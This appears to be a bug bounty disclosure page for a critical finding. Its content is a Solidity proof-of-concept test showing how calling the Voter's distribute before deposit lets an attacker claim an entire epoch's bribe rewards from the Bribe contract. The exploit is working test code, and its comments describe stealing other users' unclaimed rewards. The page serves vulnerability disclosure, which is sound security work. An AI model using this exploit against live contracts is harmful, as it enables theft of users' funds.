30898 - [SC - Critical] Call the deposit function before the distribute...
Previous30886 - [SC - Medium] Wrong totalWeight in VotersolNext30906 - [SC - Critical] Voterpoke can be called at will leading to a us...
Last updated
Was this helpful?
Last updated
Was this helpful?
Was this helpful?
// SPDX-License-Identifier: GPL-3
pragma solidity ^0.8.15;
import "./BaseTest.sol";
contract BribePoC is BaseTest {
uint256 constant DURATION = 2 weeks;
uint256 constant SECONDS_PER_BLOCK = 12;
uint256 public epochTime;
uint256 public epochBlock;
function setUp() public {
setupContracts(block.timestamp);
epochTime = minter.activePeriod();
epochBlock = block.number;
}
function testBugDoSDeposit() public {
address bribeAddress = voter.bribes(address(sushiGauge));
address[] memory pools = new address[](1);
pools[0] = sushiPoolAddress;
uint256[] memory weights = new uint256[](1);
weights[0] = 10000;
// go epoch 1
uint256 period = minter.activePeriod();
hevm.warp(period + nextEpoch);
uint256 targetTokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
hevm.prank(admin);
voter.vote(targetTokenId, pools, weights, 0);
uint256 totalVoting0 = IBribe(bribeAddress).totalVoting();
assertGt(totalVoting0, 0, "totalVoting0 = 0");
voter.distribute();
uint256 totalVoting1 = IBribe(bribeAddress).totalVoting();
assertEq(totalVoting1, 0, "totalVoting1 != 0");
uint256 userTokenId = createVeAlcx(beef, TOKEN_1, MAXTIME, false);
hevm.prank(beef);
voter.vote(userTokenId, pools, weights, 0);
totalVoting1 = IBribe(bribeAddress).totalVoting();
assertEq(totalVoting1, totalVoting0, "totalVoting1 != totalVoting0");
createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
// go epoch 2
period = minter.activePeriod();
hevm.warp(period + nextEpoch);
voter.distribute();
// in the second block of epoch 2
address[] memory bribes = new address[](1);
bribes[0] = address(bribeAddress);
address[][] memory tokens = new address[][](1);
tokens[0] = new address[](1);
tokens[0][0] = bal;
uint256 beforeBalOfAdmin = IERC20(bal).balanceOf(admin);
hevm.prank(admin);
voter.claimBribes(bribes, tokens, targetTokenId);
uint256 deltaBalOfAdmin = IERC20(bal).balanceOf(admin) - beforeBalOfAdmin;
// The success means the attacker stole all reward of epoch 1
// In the Bribe contract, rewards for other users who have not claimed for a long time, including rewards from new epoch, may remain.
// The attacker can steal all these funds.
assertEq(TOKEN_100K, deltaBalOfAdmin, "The attack is failed");
}
}